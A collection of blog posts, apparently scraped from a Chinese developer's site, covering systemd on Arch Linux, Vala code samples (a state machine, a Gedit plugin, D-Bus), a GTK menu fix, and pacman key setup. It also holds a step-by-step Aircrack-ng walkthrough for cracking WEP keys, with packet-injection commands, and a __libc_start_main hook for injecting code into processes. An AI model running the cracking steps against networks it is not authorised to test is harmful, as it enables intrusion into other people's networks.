Arch Linux 使用 systemd

systemd? 不多说,最近它和 udev 玩的好。


sudo pacman -S systemd systemd-sysvcompat systemd-arch-units

增加内核参数 init=/bin/systemd 至 /boot/grub/menu.lst

# (0) Arch Linux
title  Arch Linux
root   (hd0,0)
kernel /boot/vmlinuz26 root=/dev/sda1 init=/bin/systemd ro quiet
initrd /boot/kernel26.img
# (1) Arch Linux
title  Arch Linux Fallback
root   (hd0,0)
kernel /boot/vmlinuz26 root=/dev/sda1 init=/bin/systemd ro quiet
initrd /boot/kernel26-fallback.img

主机名称 : /etc/hostname


虚拟控制台字体与键盘映射表 : /etc/vconsole.conf


语言环境 : /etc/locale.conf


时区 : /etc/timezone


自动加载内核模块 : /etc/modules-load.d/kvm.conf



# 网络服务 : NetworkManager.serivce
sudo systemctl enable NetworkManager.serivce
# OpenSSH : sshd.service
sudo systemctl enable sshd.service
# GDM : gdm.service
sudo systemctl enable gdm.service
# 禁用
sudo systemctl disable gdm.service


# 启动
sudo systemctl start sshd.service
# 停止
sudo systemctl stop sshd.service
# 重启
sudo systemctl restart sshd.service
# 重载配置
sudo systemctl reload sshd.service


# or
systemctl status sshd.service


A simple FSM in Vala

一个使用 Vala 语言实现的简单的有限状态机。

FsmState – 状态机状态基类

 Name        : hev-fsm-state.vala
 Author      : Heiher <admin>
 Version     : 0.0.1
 Copyright   : Copyright (C) 2012 everyone.
 Description : 
using GLib;
namespace Hev {
	public class FsmState<g ,H> : Object {
		public virtual signal void enter(G obj, H input) {
		public virtual signal void process(G obj, H input) {
		public virtual signal void leave(G obj, H input) {

此类定义了三个信号 enter, process, leave 及虚默认实现。enter 信号在切换入此状态时触发,process 信号在进入信号触发后触发,leave 信号为离开此状态时触发。基类中的默认信号处理函数仅仅打印出一个 message。通常从此基类派生子类并重载三个信号的默认处理函数实现特定的状态逻辑。
Continue reading A simple FSM in Vala

Gedit 3 Plugin Sample

Required bindings not yet included in vala:
Gedit >= 3.0 (gedit-3.0.vapi)
GtkSource View >= 3.0 (gtksourceview-3.0.vapi)
PeasGtk-1.0 gobject introspection package of your distro
…and Vala >= 0.11

Source & support files
A Gedit plugin is composed of just two files: a library (.so) and the plugin file definition.

Our example plugin will be contained in just one vala soure file, so with all the dependencies in place this should be the directory listing:

$ ls

In order to make the example really simple we decided to implement a very basic function: the plugin will just close an xml tag upon writing the ‘>’. Eg. if you write it will add the corresponding close tag.

Source code for the file: gedit-3-example-plugin.vala

using GLib;
namespace GeditPluginExample
         * This class will be instantiated and activated for each Gedit View
        public class View : Gedit.ViewActivatable, Peas.ExtensionBase
                public View ()
                        GLib.Object ();
                public Gedit.View view {
                         get; construct;
                public void activate ()
                        print ("View: activated\n");
                        view.key_release_event.connect (this.on_key_release);
                public void deactivate ()
                        print ("View: deactivated\n");
                        view.key_release_event.disconnect (this.on_key_release);
                private bool on_key_release (Gtk.Widget sender, Gdk.EventKey event)
                        if (event.str == ">") {
                                // Close the tag
                                Gedit.View view = (Gedit.View)sender;
                                Gtk.TextBuffer buffer = view.get_buffer ();
                                Gtk.TextIter end, start;
                                buffer.get_iter_at_mark (out end, (Gtk.TextMark) buffer.get_insert ());
                                if (end.backward_char ()) {
                                        start = end;
                                        if (start.backward_word_start ()) {
                                                string tag = "</%s>".printf (buffer.get_text (start, end, false));
                                                // add the closing tag
                                                buffer.begin_user_action ();
                                                buffer.insert_interactive_at_cursor (tag, -1, true);
                                                buffer.end_user_action ();
                                                // move cursor back
                                                buffer.get_iter_at_mark (out end, (Gtk.TextMark) buffer.get_insert ());
                                                end.backward_chars (tag.length);
                                                buffer.place_cursor (end);
                        return true;
         * Plugin config dialog
        public class Config : Peas.ExtensionBase, PeasGtk.Configurable
                public Config () 
                        Object ();
                public Gtk.Widget create_configure_widget () 
                        return new Gtk.Label (" Gedit 3.0 Example Vala Plugin ");
public void peas_register_types (TypeModule module) 
        var objmodule = module as Peas.ObjectModule;
        // Register my plugin extension
        objmodule.register_extension_type (typeof (Gedit.ViewActivatable), typeof (GeditPluginExample.View));
        // Register my config dialog
        objmodule.register_extension_type (typeof (PeasGtk.Configurable), typeof (GeditPluginExample.Config));

Contents of the plugin definition file: gedit-3-example.plugin

Name=Vala Example Plugin
Description=A simple Vala Example Plugin
Authors=Andrea Del Signore <>
Copyright=Copyright © 2011 Andrea Del Signore

Compiling & Installing

$ valac --vapidir . -C gedit-3-example-plugin.vala --pkg gtk+-3.0 --pkg gedit-3.0 --pkg PeasGtk-1.0 --pkg GtkSource-3.0
$ gcc --shared -o gedit-3-example-plugin.c `pkg-config --cflags --libs gedit gtk+-3.0 gtksourceview-3.0 libpeas-gtk-1.0`
$ cp gedit-3-example.plugin ~/.local/share/gedit/plugins/

Start GEdit 3 and enable the plugin from the edit -> preference menu



GtkStatusIcon 弹出菜单问题记录

GtkStatusIcon 使用教程 =>

将 gnome panel 位置调整到“底部”后,弹出的菜单位置不正确,导致菜单项不可见及无法选择。


gtk_widget_show_all(my_menu);  // 在 popup 后才进行 show,导致窗口大小计算错误。

在调用 gtk_menu_popup 之前需要对 menu 进行 show。


Having pacman verify packages

For the past six months, pacman’s package verification features were turned off by default while we were figuring out the details of our public-key infrastructure.

They have finally been enabled in pacman-4.0.3-2; when you upgrade, you will be prompted to run:

pacman-key --init
pacman-key --populate archlinux

This sets up a local keyring for pacman, and populates it with the data needed to authenticate official packages. This includes five master keys used to authenticate Arch Linux packagers (developers and trusted users), so you do not need to know who joins or leaves the team: you only have to verify those five master keys once and for all. The populate command will prompt you to do so; please do this cautiously by checking the fingerprints displayed against those published on our website.

Then, merge your pacman.conf with pacman.conf.pacnew, that is, enable package verification through the SigLevel option, and you should be good to go.

For details on the development of pacman and archlinux-keyring, see the blog posts of Allan and Pierre.



Linux 平台一种进程代码注入方法

用于在目标程序的 main 函数执行前完成一些操作 😉 特定情况下用来调试还是不错的。


/* fakemain.c
 * Heiher <>
#include <stdio.h>
#define __USE_GNU
#include <dlfcn.h>
static void do_something(void)
int __libc_start_main(int (*main)(int, char **, char **),
			int argc, char **ubp_av, void (*init)(void),
			void (*fini)(void), void (*rtld_fini)(void),
			void (*stack_end))
	int (*__libc_start_main_real)(int (*main) (int, char **, char **),
				int argc, char **ubp_av, void (*init)(void),
				void (*fini)(void), void (*rtld_fini)(void),
				void (*stack_end));
	__libc_start_main_real = dlsym(RTLD_NEXT, "__libc_start_main");
	return __libc_start_main_real(main, argc, ubp_av, init, fini,
				rtld_fini, stack_end);


gcc -o -fPIC -shared fakemain.c -ldl


fakemain.c  hotkey  hotkey.vala


Linux 使用 Aircrack-ng 破解 WEP

1. 安装 aircrack-ng,以 Arch Linux 为例:

sudo pacman -S aircrack-ng

2. 破解过程
a. 启动无线网卡的监控模式

sudo airmon-ng start wlan0

Tips:wlan0 是无线网络接口,具体名称可使用 ifconfig 命令查看。

b. 查看无线 AP 信息

sudo airodump-ng wlan0

Tips: 用来查看当前的无线 AP 信息,如 BSSID 和 频道等等。

c. 抓包

sudo airodump-ng -c 6 --bssid AP's MAC -w output --ivs wlan0

Tips: -c 后面的 6 是要破解的 AP 工作频道,–bissid 后面的 AP’s MAC 是要欲破解 AP 的 MAC 地址,-w 后面的 output 的是抓下来的数据包 DATA 保存的文件名。

d. 与 AP 建立虚拟连接

sudo aireplay-ng -1 0 -a AP's MAC -h My MAC wlan0

Tips: -h 后面的 My MAC 是自己的无线网卡的 MAC 地址,可使用 ifconfig 命令查看。

e. 进行攻击,加速收集 DATA

sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b AP's MAC -h My MAC wlan0

f. 破解
收集到一定量的 DATA 后(建议超过10000)即可执行下面的命令开发解密。

aircrack-ng output*

如不能解密成功则继续收集 DATA。

g. 结束

sudo airmon-ng stop wlan0


Vala D-Bus Examples

Vala supports D-Bus inter-process communication using the GDBus API that is part of GLib/GIO since version 2.26.

Vala automatically transforms Vala style lower_case_names to D-Bus style CamelCaseNames behind the scenes. You can use methods, signals, properties in D-Bus objects as if they were Vala objects.

Using GDBus

/* Note: this attribute specifies the _interface_ name.  It
 * is called 'name =' for historical reasons.
[DBus (name = "org.example.Demo")]
public class DemoServer : Object {
    private int counter;
    public int ping (string msg) {
        stdout.printf ("%s\n", msg);
        return counter++;
    public int ping_with_signal (string msg) {
        stdout.printf ("%s\n", msg);
        pong(counter, msg);
        return counter++;
    /* Including any parameter of type GLib.BusName won't be added to the
       interface and will return the dbus sender name (who is calling the method) */
    public int ping_with_sender (string msg, GLib.BusName sender) {
        stdout.printf ("%s, from: %s\n", msg, sender);
        return counter++;
    public void ping_error () throws Error {
        throw new DemoError.SOME_ERROR ("There was an error!");
    public signal void pong (int count, string msg);
[DBus (name = "org.example.DemoError")]
public errordomain DemoError
void on_bus_aquired (DBusConnection conn) {
    try {
        conn.register_object ("/org/example/demo", new DemoServer ());
    } catch (IOError e) {
        stderr.printf ("Could not register service\n");
void main () {
    Bus.own_name (BusType.SESSION, "org.example.Demo", BusNameOwnerFlags.NONE,
                  () => {},
                  () => stderr.printf ("Could not aquire name\n"));
    new MainLoop ().run ();
valac --pkg gio-2.0 gdbus-demo-server.vala

The methods of the client interface must be defined with throws IOError.

[DBus (name = "org.example.Demo")]
interface Demo : Object {
    public abstract int ping (string msg) throws IOError;
    public abstract int ping_with_sender (string msg) throws IOError;
    public abstract int ping_with_signal (string msg) throws IOError;
    public signal void pong (int count, string msg);
void main () {
    /* Needed only if your client is listening to signals; you can omit it otherwise */
    var loop = new MainLoop();
    /* Important: keep demo variable out of try/catch scope not lose signals! */
    Demo demo = null;
    try {
        demo = Bus.get_proxy_sync (BusType.SESSION, "org.example.Demo",
        /* Connecting to signal pong! */
        demo.pong.connect((c, m) => {
            stdout.printf ("Got pong %d for msg '%s'\n", c, m);
            loop.quit ();
        int pong = ("Hello from Vala");
        stdout.printf ("%d\n", pong);
        pong = demo.ping_with_sender ("Hello from Vala with sender");
        stdout.printf ("%d\n", pong);
        pong = demo.ping_with_signal ("Hello from Vala with signal");
        stdout.printf ("%d\n", pong);
    } catch (IOError e) {
        stderr.printf ("%s\n", e.message);
valac --pkg gio-2.0 gdbus-demo-client.vala

Type Table

D-Bus Vala Description Example
b bool Boolean
y uint8 Byte
i int Integer
u uint Unsigned Integer
n int16 16-bit Integer
q uint16 Unsigned 16-bit Integer
x int64 64-bit Integer
t uint64 Unsigned 64-bit Integer
d double Double
s string String
v GLib.Variant Variant
o GLib.ObjectPath Object Path
a [] Array ai maps to int[]
a{} GLib.HashTable<,> Dictionary a{sv} maps to HashTable<string, Variant>
() a struct type Struct a(ii) maps to Foo[] where Foo might be defined as
struct Foo { public int a; public int b };

Debugging D-Bus Applications
D-Feet is a graphical D-Bus debugger. This is what our little D-Bus service looks like in D-Feet:

Open a terminal and enter:


Excerpt from the output showing a property change notification:

signal sender=:1.454 -> dest=(null destination) serial=9 path=/org/example/demo; interface=org.freedesktop.DBus.Properties; member=PropertiesChanged
   string "org.example.Demo"
   array [
      dict entry(
         string "pubprop"
         variant             string "1018873421"
   array [

Service with D-Bus property change notifications
This example will setup a D-Bus service that can send notifications on the change of properties. (example code partly by Faheem)

The timeout will change the property every few seconds. The notifications can be visualized by the terminal program ‘dbus-monitor’ that comes with most distributions.

[DBus (name = "org.example.Demo")]
public class DemoServer : Object {
    public string pubprop { owned get; set; }
    private weak DBusConnection conn;
    public DemoServer (DBusConnection conn) {
        this.conn = conn;
        this.notify.connect (send_property_change);
    private void send_property_change (ParamSpec p) {
        var builder = new VariantBuilder (VariantType.ARRAY);
        var invalid_builder = new VariantBuilder (new VariantType ("as"));
        if ( == "pubprop") {
            Variant i = pubprop;
            builder.add ("{sv}", "pubprop", i);
        try {
            conn.emit_signal (null, 
                              new Variant ("(sa{sv}as)", 
        } catch (Error e) {
            stderr.printf ("%s\n", e.message);
public class NotificationsTest : Object {
    private DemoServer dserver;
    public NotificationsTest () {
        Bus.own_name (BusType.SESSION, "org.example.Demo", BusNameOwnerFlags.NONE,
                      on_bus_acquired, on_name_acquired, on_name_lost);
    private void on_bus_acquired (DBusConnection conn) {
        print ("bus acquired\n");
        try {
            this.dserver = new DemoServer (conn);
            conn.register_object ("/org/example/demo", this.dserver);
        } catch (IOError e) {
            print ("%s\n", e.message);
    private void on_name_acquired () {
        print ("name acquired\n");
    private void on_name_lost () {
        print ("name_lost\n");
    public void setup_timeout () {
        Timeout.add_seconds (4, () => {
            dserver.pubprop = Random.next_int ().to_string ();
            return true;
void main () {
    var nt = new NotificationsTest ();
    nt.setup_timeout ();
    new MainLoop ().run ();
valac --pkg gio-2.0 gdbus-change-notificationst.vala